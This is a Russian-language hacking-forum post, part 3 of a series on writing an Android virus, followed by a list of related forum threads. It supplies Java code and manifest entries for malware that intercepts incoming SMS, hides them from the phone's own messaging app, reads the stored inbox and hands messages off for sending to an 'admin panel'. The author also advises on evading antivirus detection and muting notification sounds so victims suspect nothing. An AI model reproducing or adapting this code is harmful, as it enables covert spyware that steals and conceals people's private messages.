Как написать вирус для Андроид. Часть 3

Admin

Администратор
Популярность наших двух первых публикаций о вирусе для андроид прибавила нам энтузиазма и подтолкнула на дальнейшую работу в публикации примеров как написать вирус для андроид. Мы уже написали своего зверя и нам сразу же захотелось посмотреть фотки и перепску людей. И сегодня пойдет речь о том как это сделать. Сразу скажу, что этот вопрос очень сложный и мы к нему ещё не раз вернемся в следующих статьях. Мы рассмотрим здесь перехват и удаление смс для версий 2.х и просто чтение для версий старше 2.Х
sT6S9m4DEUenF_fEKbJFJ8vGywfUa9mszKOFo4H-I8Nqw_VBxDwPMHoeuxhY5qR4Bl1q=w300
Почему я решил так сделать? Просто с появлением версии 4.4 работа с смс (удаление или редактирование) изменилась. Создатели поняли, что не стоит кому попало давать работать с входящими данными.

Обработка входящих соединений
Код:
public class SMSMonitor extends BroadcastReceiver{
   @Override
   public void onReceive(Context context, Intent intent) {
Sms sms = new Sms();
       try {
           if (bundle != null) {
               Object[] pdus = (Object[]) bundle.get(Config.szPdus);
               SmsMessage[] mgs=new SmsMessage[pdus.length];
               for(int i=0;i<pdus.length;i++) {
                   mgs[i]=SmsMessage.createFromPdu((byte[]) pdus[i]);
               }
               sms.Text = getMessageFromSMSs(mgs);
               sms.SenderId = mgs[0].getOriginatingAddress();
               Date receiveDate = new Date(mgs[0].getTimestampMillis());
               sms.RecieveDate = receiveDate;
               sms.Status = mgs[0].getStatus();
           }
       } catch (Exception e) {
       }
// можете фильтровать здесь запросы от номеров.
       Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.
       abortBroadcast(); // функция для отмены передачи этого события дальше приложениям.
   }
   private String getMessageFromSMSs(SmsMessage[] sms) {
       String str="";
       for(SmsMessage message:sms) {
           str += message.getMessageBody().toString();
       }
       return str;
   }
   public class Sms{
       public String SenderId;
       public String Text;
       public Date RecieveDate;
       public int Status;
   }
}
Вот, основной класс который занимается перехватом смс. Кажется, можно сделать глоток пивка и расслабиться. Но нет, это не будет работать в связи с тем, что нам еще нужно сделать класс, для обработки смс сообщения. По-сути, сейчас мы сделали только перехват. Сразу возникает вопрос: “А почему нельзя все сделать в одном месте?” Проблема кроется во времени обработки. Обработка событий не может быть долгой. И времени хватает только на чтение данных и передачу их сервису.

Код:
Intent intent1 = new Intent(context, SMSService.class); // подготовка Запуска сервиса обработки сообщения.
       intent1.putExtra("phone", sms.SenderId);
       intent1.putExtra("text", sms.Text);
       intent1.putExtra("date", sms.RecieveDate);
       context.startService(intent1); // Запуск сервиса обработки сообщения.
Что и делает выше описанный код. Мы говорим какой класс запустить (он обязательно должен быть зарегистрирован как сервис) и передаем параметры.
Код:
public class SMSService extends Service {
   @Override
   public IBinder onBind(Intent intent) {
       return null;
   }
   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       String sms_tel = intent.getExtras().getString("phone");
       String sms_body = intent.getExtras().getString("text");
       String sms_date = intent.getExtras().getString("date");
       //обрабатываем данные и если надо отсылаем в админку.
       return START_STICKY;
   }
}
Мы внесли все выше описанные изменения. Сидим, попивая вкусное, холодное пивко, и ждем как будут перехватываться данные. Но вас настигнет разочарование: код выполнился без ошибок, но смс нет ни каких! И тут можно меня закидать помидорами или чипсами, смотря что под рукой. Давайте разбираться!

Регистрация: “план перехват”
Дабы вышеописанный метод работал, нас нужно объявить в манифесте приложения. Чтобы android знал, что мы хотим делать. Но учтите, что при установке, пользователь увидит это в разрешениях приложения.
Код:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver android:name=".SMSMonitor">
       <intent-filter android:priority="100">
           <action android:name="android.provider.Telephony.SMS_RECEIVED" />
       </intent-filter>
</receiver>
Дает право нам перехватывать смс. Есть хороший параметр приоритет, тут значение может быть от 1 до 999. Я рекомендую использовать от 100, но не сильно высоко. На этот параметр может ругаться антивирус. Если появился детект, можете искать его тут. Чем выше значение тем вы раньше будете стоять на обработку в очереди событий
Код:
<service android:name=".SMSService" />
//нужно для того,чтобы мы смогли запускать класс как сервис.
Собираем, проверяем, все работает. Ура.

Чтение сохранённых смс
Код:
String INBOX = "content://sms/inbox";
//String SENT = "content://sms/sent";
//String DRAFT = "content://sms/draft";
Cursor cursor = cnt.getContentResolver().query(Uri.parse(INBOX), null, null, null, null);
if (cursor.moveToFirst()) {
   do {
       for(int idx=0;idx<cursor.getColumnCount();idx++)
       {
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szAddress)){
                   // cursor.getString(idx)// номер телефона
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szBody)){
                   // cursor.getString(idx) // сообщение
               }
               if(cursor.getColumnName(idx).toString().equalsIgnoreCase(Config.szDate)){
                   // cursor.getString(idx) // дата сообщения
               }
       }
   } while (cursor.moveToNext());
} else {
   // нету смс
}

Для работы данного способа требуется разрешение
Код:
   <uses-permission android:name="android.permission.READ_SMS" />
Прячем “плохие” сообщения
Я еще не объяснил где происходит удаление смс. И поэтому перейдем к этому вопросу. Тем более пива у вас уже должно заканчиваться, если конечно вы не ящик взяли
Самая главная функция abortBroadcast(); . Она говорит системе, чтобы она не передавала сообещение другим обработчикам включая стандартный смс менеджер от android‘a. Поэтому лучше иметь приоритет выше чем все приложения такого типа. Так же эта функция рано или поздно, станет вашим детектом. Но есть способы обойти это.
Удаление смс вручную, после обработки. Но тут вы должны будете приглушить звук смс, для того чтобы пользователь ни чего не заподозрил.
Удаление смс из очереди. (не пользовался)
P.S. Ну и на последок, данный способ будет работать на android‘е 2.х. От версии 4.4 и выше, он работать не будет (может только перехват, без отмены очереди). Там требуются другие методы. Но мы и это пройдем.
 
Похожие темы
Admin Как написать вирус для Андроид. Часть 5 Вирусология 0
Admin Как написать вирус для Андроид. Часть 4 Вирусология 0
Admin Как написать вирус для андроид. Часть 2 Вирусология 1
Admin Как написать вирус для андроид Вирусология 0
G Как написать безопасный код на JS Программирование 0
АнАлЬнАя ЧуПаКаБрА [Гайд] - Как написать человеку в Вк если вы у него в ЧС. Раздачи и сливы 0
S Как написать сообщение вк если ты в чс Фишинг, мошенничество, СИ 41
R Как написать простейший компилятор Программирование 0
АнАлЬнАя ЧуПаКаБрА Гайд как написать простенький проэкт в Private Keeper Полезные статьи 5
Admin UFOLABSNEWS Электронная бомбардировка: что это и как защититься. Новости в сети 0
Admin UFOLABSNEWS Как отличить мошенническую рекламу от настоящей перед кликом. Новости в сети 0
Admin UFOLABSNEWS Shizuku позволяет приложениям работать как системная оболочка без root-прав. Новости в сети 0
Admin UFOLABSNEWS Как выжать 30 FPS из читалки: гениальный трюк с зависшими частицами внутри экрана. Новости в сети 0
Admin UFOLABSNEWS Кристалл времени стал видимым: материалы учатся двигаться как живые. Новости в сети 0
Admin UFOLABSNEWS Эйнштейн вмешался в химию. Сиборгий повёл себя не как его соседи по таблице. Новости в сети 0
Admin UFOLABSNEWS 34 минуты без доступа. Как обычная настройка парализовала крупные сайты. Новости в сети 0
Admin UFOLABSNEWS Электромотор ужали до нитки: экзоскелет будущего будут не собирать из железа, а надевать как кофту. Новости в сети 0
Admin UFOLABSNEWS Фотонные чипы теперь можно собирать как Lego — даже из кристаллов, которые раньше не уживались вместе. Новости в сети 0
Admin UFOLABSNEWS Вредоносная версия npm-пакета tensorlake крадёт учётные данные и распространяется как червь. Новости в сети 0
Admin UFOLABSNEWS Домен third-party.com, ранее используемый как пример в документации, теперь распространяет вредоносный контент. Новости в сети 0
Admin UFOLABSNEWS Meta выпустила ИИ-очки без камеры как ответ на страх скрытой съёмки. Новости в сети 0
Admin UFOLABSNEWS Приложения для создания фейковых обнажённых фото: как защититься. Новости в сети 0
Admin Статья PoC техника закрепления через NTUSER.MAN, или злоупотребление NTUSER.MAN как механизмом постоянства Вирусология 0
Admin UFOLABSNEWS Apple может удалённо заблокировать iPhone, но не так, как многие думают. Новости в сети 0
Admin UFOLABSNEWS Европа представила Linux-браузер как политический ответ американскому Big Tech. Новости в сети 0
Admin UFOLABSNEWS Новая нейросеть OpenAI Astra работает как профессиональный хакер. Новости в сети 1
Admin UFOLABSNEWS Пушка вместо ракеты: американцы придумали, как расстреливать дроны по три цента за выстрел. Новости в сети 0
S стиллер pdf как работает Свободное общение 6
S Как добывать логи Свободное общение 5
Admin Интересно Восстание машин началось на ринге: как прошел первый турнир по боям без правил роботов-терминаторов T800. Новости в сети 0
Admin UFOLABSNEWS ChatGPT научился вести диалог как живой собеседник. Новости в сети 0
devqp Статья Иллюзия анонимности: Как Tor Browser палит вас по железу (Canvas/WebGL) и метод обхода Анонимность и приватность 0
Admin UFOLABSNEWS Биологи обсуждают способность выбирать как ключевое отличие живого от неживого. Новости в сети 0
Admin UFOLABSNEWS Роскошь без Wi-Fi: как отсутствие интернета стало продаваться дороже комфорта. Новости в сети 0
Admin UFOLABSNEWS Как стать CISO: карта роста. Новости в сети 0
Admin UFOLABSNEWS В центре Млечного Пути звёзды движутся не так, как должны. Астрономы нашли того, кто тихо менял их орбиты миллионы лет. Новости в сети 0
Admin UFOLABSNEWS Физики создали пиксель, который одновременно работает как дисплей и камера. Новости в сети 0
Admin UFOLABSNEWS От мешков с песком до кубического километра льда: как физики ловят самую неуловимую частицу во Вселенной. Новости в сети 0
Admin Интересно 19126 год, PDP-11 и призрак Y2K. Как баг из 1970-х дожил до наших дней и нашёлся в эмуляторе. Новости в сети 0
Admin Интересно Жители Великобритании не осознают, как умные устройства собирают их личные данные. Новости в сети 0
Admin Интересно Цена взлома российского бизнеса упала до $20. Как работает новый PowerLoader. Новости в сети 0
Admin Интересно ДНК эмбриона теперь можно редактировать как опечатку в документе. Новости в сети 0
Admin Интересно Историки опровергли роль Томаса Эдисона как отца звукозаписи. Новости в сети 0
Admin Интересно Приёмник смотрит вправо, а удар прилетел слева. Как физика из школьного двора ломает радиозащиту. Новости в сети 0
Admin Интересно Узнайте, как злоумышленники видят вашу сеть: вебинар с HD Moore. Новости в сети 0
Admin Интересно Скидки-оборотни: как бонусные баллы превращаются в инструмент мошенничества. Новости в сети 0
Admin Интересно Искусственный интеллект сокращает временные рамки эксплуатации уязвимостей. Как с этим справиться?. Новости в сети 0
Admin Интересно Тест-драйв: как избавиться от сомнений в выборе ИБ-решения за 7 дней. Новости в сети 0
Admin Интересно Как управлять скрытыми ИИ-инструментами без замедления работы сотрудников. Новости в сети 0
Admin Интересно Ошибка из 2018 и подставные аккаунты. Рассказываем, как популярный пакет art-template начал атаковать айфоны. Новости в сети 0

Название темы